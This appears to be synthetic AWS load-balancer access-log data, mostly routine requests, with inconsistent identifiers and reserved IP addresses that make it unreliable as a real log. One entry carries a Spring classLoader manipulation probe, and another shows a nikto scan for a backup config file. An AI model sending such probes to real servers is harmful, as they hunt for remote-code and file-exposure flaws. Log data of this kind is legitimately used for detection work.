2024-11-01T00:04:21.279895Z prod-api-alb 61.180.176.140:50612 10.0.62.122:443 0.087454 0.106964 0.058953 302 302 771 5778 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b895-745d81cd11904976b9c427d2" "prod-api-alb.example.com" "-" 8 2024-11-01T00:04:21.279895Z "forward" "-" "-" "10.0.62.122:443" "302" "-" "-" -https 2024-11-01T00:04:22.986902Z prod-web-alb 45.155.205.66:47118 10.0.170.149:443 0.017318 0.448510 0.047488 404 404 492 4232 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b896-90b9ac70cc654a1fb9d876fb" "-" "-" 3 2024-11-01T00:04:22.986902Z "forward" "-" "-" "10.0.170.149:443" "404" "-" "-" -https 2024-11-01T00:04:23.179822Z prod-api-alb 202.218.112.165:50508 10.0.9.206:443 0.085364 0.091489 0.093908 302 302 514 8279 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b897-1054e69b2de345c4b8393f06" "prod-api-alb.example.com" "-" 10 2024-11-01T00:04:23.179822Z "forward" "-" "-" "10.0.9.206:443" "302" "-" "-" -http 2024-11-01T00:04:24.504659Z staging-alb 84.60.58.175:27285 237.23.131.234:80 0.064546 0.289713 0.007964 200 200 814 4739 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b898-8458c3c5a184470186709e0a" "staging-alb.example.com" "-" 7 2024-11-01T00:04:24.504659Z "forward" "-" "-" "237.23.131.234:80" "200" "-" "-" -https 2024-11-01T00:04:25.823715Z prod-api-alb 44.126.123.62:38577 10.0.180.254:443 0.056208 0.435450 0.085950 301 301 531 3924 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b899-9652e3391cc44921ad6181b2" "prod-api-alb.example.com" "-" 9 2024-11-01T00:04:25.823715Z "forward" "-" "-" "10.0.180.254:443" "301" "-" "-" -http 2024-11-01T00:04:27.585973Z staging-alb 58.141.170.68:23714 162.202.206.219:80 0.042498 0.303997 0.078244 200 200 390 13092 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b89b-771aa8cd14ae4213bfe64361" "staging-alb.example.com" "-" 9 2024-11-01T00:04:27.585973Z "forward" "-" "-" "162.202.206.219:80" "200" "-" "-" -https 2024-11-01T00:04:28.562505Z prod-api-alb 222.202.199.118:64338 10.0.56.116:443 0.047594 0.064973 0.048120 302 302 146 877 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b89c-246dd8a2060f451e81a9ecf2" "prod-api-alb.example.com" "-" 1 2024-11-01T00:04:28.562505Z "forward" "-" "-" "10.0.56.116:443" "302" "-" "-" -https 2024-11-01T00:04:29.766441Z prod-api-alb 249.35.94.62:57340 10.0.98.140:443 0.051529 0.109680 0.011321 200 200 28 1851 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b89d-43e350f923ac4bd0ba32ffd4" "-" "-" 7 2024-11-01T00:04:29.766441Z "forward" "-" "-" "10.0.98.140:443" "200" "-" "-" -https 2024-11-01T00:04:30.994628Z prod-api-alb 118.250.11.34:63795 10.0.250.46:443 0.099209 0.189376 0.046257 200 200 722 5323 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b89e-46b46891b276400aa348e32d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:04:30.994628Z "forward" "-" "-" "10.0.250.46:443" "200" "-" "-" -https 2024-11-01T00:04:31.852676Z prod-api-alb 46.168.112.102:56160 10.0.163.77:443 0.016959 0.167916 0.052584 404 404 795 9884 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b89f-a22158dfed1144029da22fa1" "prod-api-alb.example.com" "-" 4 2024-11-01T00:04:31.852676Z "forward" "-" "-" "10.0.163.77:443" "404" "-" "-" -https 2024-11-01T00:04:32.387294Z prod-api-alb 67.245.57.159:12216 10.0.232.168:443 0.050059 0.240699 0.081425 301 301 738 3444 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8a0-4c80f114edb2495a8eb06478" "prod-api-alb.example.com" "-" 1 2024-11-01T00:04:32.387294Z "forward" "-" "-" "10.0.232.168:443" "301" "-" "-" -https 2024-11-01T00:04:32.707670Z prod-api-alb 99.129.178.180:52355 10.0.252.114:443 0.062490 0.149991 0.012312 200 200 228 8955 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8a0-211f184d52844966b8fef8a7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:04:32.707670Z "forward" "-" "-" "10.0.252.114:443" "200" "-" "-" -https 2024-11-01T00:04:33.734024Z staging-alb 222.19.76.231:33809 146.66.238.201:80 0.098748 0.266568 0.098139 404 404 252 4329 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8a1-ba9f67132c5f4789aff16c78" "staging-alb.example.com" "-" 5 2024-11-01T00:04:33.734024Z "forward" "-" "-" "146.66.238.201:80" "404" "-" "-" -https 2024-11-01T00:04:34.751182Z prod-web-alb 12.109.112.164:62986 10.0.73.48:443 0.011234 0.269312 0.093610 200 200 144 6173 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8a2-7d5e915935954be6893c4d18" "prod-web-alb.example.com" "-" 6 2024-11-01T00:04:34.751182Z "forward" "-" "-" "10.0.73.48:443" "200" "-" "-" -https 2024-11-01T00:04:35.612831Z staging-alb 183.81.86.188:47381 253.113.161.205:80 0.095558 0.254695 0.060781 200 200 344 2075 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8a3-820322ab50264049a1338d04" "staging-alb.example.com" "-" 8 2024-11-01T00:04:35.612831Z "forward" "-" "-" "253.113.161.205:80" "200" "-" "-" -https 2024-11-01T00:04:37.024980Z prod-api-alb 255.69.224.149:20508 10.0.238.211:443 0.005695 0.183583 0.036751 200 200 519 2702 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8a5-a212910c6d394265aa52628f" "prod-api-alb.example.com" "-" 8 2024-11-01T00:04:37.024980Z "forward" "-" "-" "10.0.238.211:443" "200" "-" "-" -https 2024-11-01T00:04:37.255244Z prod-api-alb 51.63.192.161:21558 10.0.219.244:443 0.059373 0.419989 0.070789 200 200 297 12543 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8a5-135bb00ad6374da69397d49e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:04:37.255244Z "forward" "-" "-" "10.0.219.244:443" "200" "-" "-" -https 2024-11-01T00:04:37.676137Z prod-web-alb 77.164.130.78:61336 10.0.4.41:443 0.019642 0.323376 0.047267 200 200 860 6531 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8a5-451ce471e78c4ac2b2f54b32" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:37.676137Z "forward" "-" "-" "10.0.4.41:443" "200" "-" "-" -https 2024-11-01T00:04:39.190340Z prod-api-alb 165.95.152.237:38339 10.0.2.207:443 0.050490 0.014348 0.013970 200 200 680 3606 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8a7-c858022a81754f888592e90a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:04:39.190340Z "forward" "-" "-" "10.0.2.207:443" "200" "-" "-" -https 2024-11-01T00:04:39.613223Z prod-web-alb 76.167.148.25:33811 10.0.51.44:443 0.051545 0.231813 0.000287 200 200 180 12339 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8a7-11ab96c1b63c473bb4f85970" "prod-web-alb.example.com" "-" 9 2024-11-01T00:04:39.613223Z "forward" "-" "-" "10.0.51.44:443" "200" "-" "-" -https 2024-11-01T00:04:39.765978Z staging-alb 26.141.125.231:62880 106.183.161.207:80 0.043684 0.224908 0.002899 404 404 565 5549 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8a7-71426744b1f74d05b522f909" "staging-alb.example.com" "-" 9 2024-11-01T00:04:39.765978Z "forward" "-" "-" "106.183.161.207:80" "404" "-" "-" -https 2024-11-01T00:04:40.804508Z prod-web-alb 176.112.69.33:16387 10.0.51.63:443 0.080403 0.401278 0.064619 302 302 90 1515 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8a8-f940a27a44114f429987ac7b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:04:40.804508Z "forward" "-" "-" "10.0.51.63:443" "302" "-" "-" -http 2024-11-01T00:04:41.170368Z staging-alb 4.173.49.79:43150 103.174.252.170:443 0.106978 0.491656 0.054097 302 302 572 8713 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8a9-d17dbe7236d94937a92bafc4" "staging-alb.example.com" "-" 3 2024-11-01T00:04:41.170368Z "forward" "-" "-" "103.174.252.170:443" "302" "-" "-" -https 2024-11-01T00:04:42.450180Z prod-web-alb 114.4.198.103:22476 10.0.51.189:443 0.049639 0.406102 0.014513 200 200 385 8645 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8aa-c7e4a552bbae4fa6985c6062" "prod-web-alb.example.com" "-" 0 2024-11-01T00:04:42.450180Z "forward" "-" "-" "10.0.51.189:443" "200" "-" "-" -https 2024-11-01T00:04:43.005947Z prod-web-alb 228.132.9.243:30172 10.0.62.203:443 0.004271 0.046625 0.039876 302 302 284 9865 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8ab-d9e0b2e81dad4ceba618fc4b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:04:43.005947Z "forward" "-" "-" "10.0.62.203:443" "302" "-" "-" -https 2024-11-01T00:04:44.129667Z prod-api-alb 185.181.55.98:19193 10.0.224.181:443 0.047137 0.182887 0.079719 301 301 688 6612 "POST /config.php~ HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8ac-1e75e3135f034232a49f9d47" "-" "-" 7 2024-11-01T00:04:44.129667Z "forward" "-" "-" "10.0.224.181:443" "301" "-" "-" -https 2024-11-01T00:04:44.282764Z staging-alb 183.10.246.176:54948 183.182.207.173:8080 0.041684 0.296404 0.133551 200 200 403 9188 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ac-b2105ba52c104fb18723e11e" "staging-alb.example.com" "-" 2 2024-11-01T00:04:44.282764Z "forward" "-" "-" "183.182.207.173:8080" "200" "-" "-" -https 2024-11-01T00:04:45.650841Z staging-alb 170.139.10.126:35919 80.210.136.66:443 0.095316 0.666804 0.057096 200 200 321 4874 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ad-3568555a47a64f4bb670d580" "staging-alb.example.com" "-" 7 2024-11-01T00:04:45.650841Z "forward" "-" "-" "80.210.136.66:443" "200" "-" "-" -https 2024-11-01T00:04:46.834504Z prod-api-alb 99.4.150.162:12214 10.0.255.210:443 0.019062 0.270406 0.053161 200 200 441 12850 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8ae-e0ae5c6be3cf43cda9022755" "prod-api-alb.example.com" "-" 5 2024-11-01T00:04:46.834504Z "forward" "-" "-" "10.0.255.210:443" "200" "-" "-" -https 2024-11-01T00:04:48.710565Z prod-api-alb 65.221.166.135:22321 10.0.247.119:443 0.027451 0.489503 0.084433 200 200 833 6756 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8b0-be935338e908494089dad559" "prod-api-alb.example.com" "-" 9 2024-11-01T00:04:48.710565Z "forward" "-" "-" "10.0.247.119:443" "200" "-" "-" -https 2024-11-01T00:04:49.336839Z prod-api-alb 43.192.150.98:29303 10.0.191.130:443 0.057406 0.068338 0.099889 200 200 366 14882 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8b1-60cb9623ed274bd09c5dcb79" "prod-api-alb.example.com" "-" 3 2024-11-01T00:04:49.336839Z "forward" "-" "-" "10.0.191.130:443" "200" "-" "-" -http 2024-11-01T00:04:49.639834Z staging-alb 64.114.161.45:43135 60.253.78.82:80 0.017867 0.453597 0.004831 200 200 760 4169 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b1-8a89bd4e63614fd79fcdb722" "staging-alb.example.com" "-" 2 2024-11-01T00:04:49.639834Z "forward" "-" "-" "60.253.78.82:80" "200" "-" "-" -https 2024-11-01T00:04:51.258612Z staging-alb 102.203.110.95:33591 105.6.160.255:80 0.120906 0.021662 0.069641 200 200 111 3506 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b3-1fa1ea9251564b1cb9421525" "staging-alb.example.com" "-" 8 2024-11-01T00:04:51.258612Z "forward" "-" "-" "105.6.160.255:80" "200" "-" "-" -https 2024-11-01T00:04:52.544997Z prod-web-alb 218.117.250.199:13444 10.0.15.67:443 0.011065 0.094737 0.058987 301 301 799 7385 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8b4-6a665cdc90b14438a14a7157" "-" "-" 0 2024-11-01T00:04:52.544997Z "forward" "-" "-" "10.0.15.67:443" "301" "-" "-" -https 2024-11-01T00:04:53.604594Z prod-web-alb 94.53.118.164:35550 10.0.92.29:443 0.014159 0.258868 0.015243 200 200 407 9934 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8b5-e6a3b94374d84724a1269565" "prod-web-alb.example.com" "-" 4 2024-11-01T00:04:53.604594Z "forward" "-" "-" "10.0.92.29:443" "200" "-" "-" -https 2024-11-01T00:04:53.745831Z staging-alb 10.148.181.197:18320 139.131.120.83:443 0.028831 0.022210 0.126530 404 404 371 9761 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b5-3ff61d1ebef04e64a8e358f0" "staging-alb.example.com" "-" 3 2024-11-01T00:04:53.745831Z "forward" "-" "-" "139.131.120.83:443" "404" "-" "-" -https 2024-11-01T00:04:54.055448Z staging-alb 51.14.110.218:46737 65.78.135.163:8080 0.031724 0.736166 0.072169 301 301 258 8003 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b6-2683ca7352064570990a2441" "staging-alb.example.com" "-" 2 2024-11-01T00:04:54.055448Z "forward" "-" "-" "65.78.135.163:8080" "301" "-" "-" -https 2024-11-01T00:04:55.093739Z prod-web-alb 236.91.84.198:63970 10.0.168.86:443 0.020670 0.054965 0.080020 301 301 394 225 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8b7-427f646c469b4669b843bbf9" "prod-web-alb.example.com" "-" 10 2024-11-01T00:04:55.093739Z "forward" "-" "-" "10.0.168.86:443" "301" "-" "-" -https 2024-11-01T00:04:55.595737Z prod-api-alb 106.13.218.181:18450 10.0.129.114:443 0.097630 0.396716 0.097484 200 200 823 11492 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8b7-c47f068e4dbf4dfd8ac92f8c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:04:55.595737Z "forward" "-" "-" "10.0.129.114:443" "200" "-" "-" -https 2024-11-01T00:04:56.168014Z staging-alb 96.74.75.248:44239 240.199.249.255:8080 0.055529 0.099072 0.149524 200 200 446 2464 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8b8-46777edfc2614adbab97f59d" "staging-alb.example.com" "-" 2 2024-11-01T00:04:56.168014Z "forward" "-" "-" "240.199.249.255:8080" "200" "-" "-" -https 2024-11-01T00:04:56.505656Z prod-web-alb 127.197.26.195:37509 10.0.161.55:443 0.091809 0.017365 0.002002 200 200 980 7150 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8b8-4b05f75e973e47d0bf2ef96f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:04:56.505656Z "forward" "-" "-" "10.0.161.55:443" "200" "-" "-" -https 2024-11-01T00:04:58.354597Z staging-alb 166.91.229.225:28255 245.150.179.7:8080 0.095270 0.732702 0.067152 200 200 665 4579 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ba-1af5133dda224a528fbd138d" "staging-alb.example.com" "-" 9 2024-11-01T00:04:58.354597Z "forward" "-" "-" "245.150.179.7:8080" "200" "-" "-" -http 2024-11-01T00:04:59.495553Z staging-alb 223.86.207.156:63448 37.20.248.5:8080 0.020057 0.740677 0.122386 301 301 938 8981 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8bb-f50dcf2caf9b4d1e837c175e" "staging-alb.example.com" "-" 8 2024-11-01T00:04:59.495553Z "forward" "-" "-" "37.20.248.5:8080" "301" "-" "-" -https 2024-11-01T00:05:01.184176Z prod-api-alb 213.96.164.96:40279 10.0.109.122:443 0.032615 0.297613 0.046385 200 200 516 7164 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8bd-df6f892e38a7491aa47a5639" "prod-api-alb.example.com" "-" 0 2024-11-01T00:05:01.184176Z "forward" "-" "-" "10.0.109.122:443" "200" "-" "-" -https 2024-11-01T00:05:02.227624Z prod-web-alb 20.83.91.30:23441 10.0.129.162:443 0.002892 0.263966 0.065040 200 200 770 3508 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8be-f54d601462484b91843dd4a9" "prod-web-alb.example.com" "-" 5 2024-11-01T00:05:02.227624Z "forward" "-" "-" "10.0.129.162:443" "200" "-" "-" -https 2024-11-01T00:05:03.426382Z staging-alb 103.0.24.86:20108 79.222.135.47:443 0.110253 0.459424 0.148804 200 200 457 13068 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8bf-42458fcf7f0f40ee9aac96b7" "staging-alb.example.com" "-" 7 2024-11-01T00:05:03.426382Z "forward" "-" "-" "79.222.135.47:443" "200" "-" "-" -https 2024-11-01T00:05:04.212693Z prod-api-alb 102.119.130.208:29013 10.0.247.140:443 0.093022 0.277629 0.081875 200 200 260 2028 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8c0-5b9ddd6bd9c44622935315a1" "prod-api-alb.example.com" "-" 4 2024-11-01T00:05:04.212693Z "forward" "-" "-" "10.0.247.140:443" "200" "-" "-" -http 2024-11-01T00:05:04.494081Z staging-alb 62.90.150.159:30953 64.185.242.195:8080 0.013247 0.717182 0.090233 302 302 527 13078 "GET /api/v1/products HTTP/1.1" 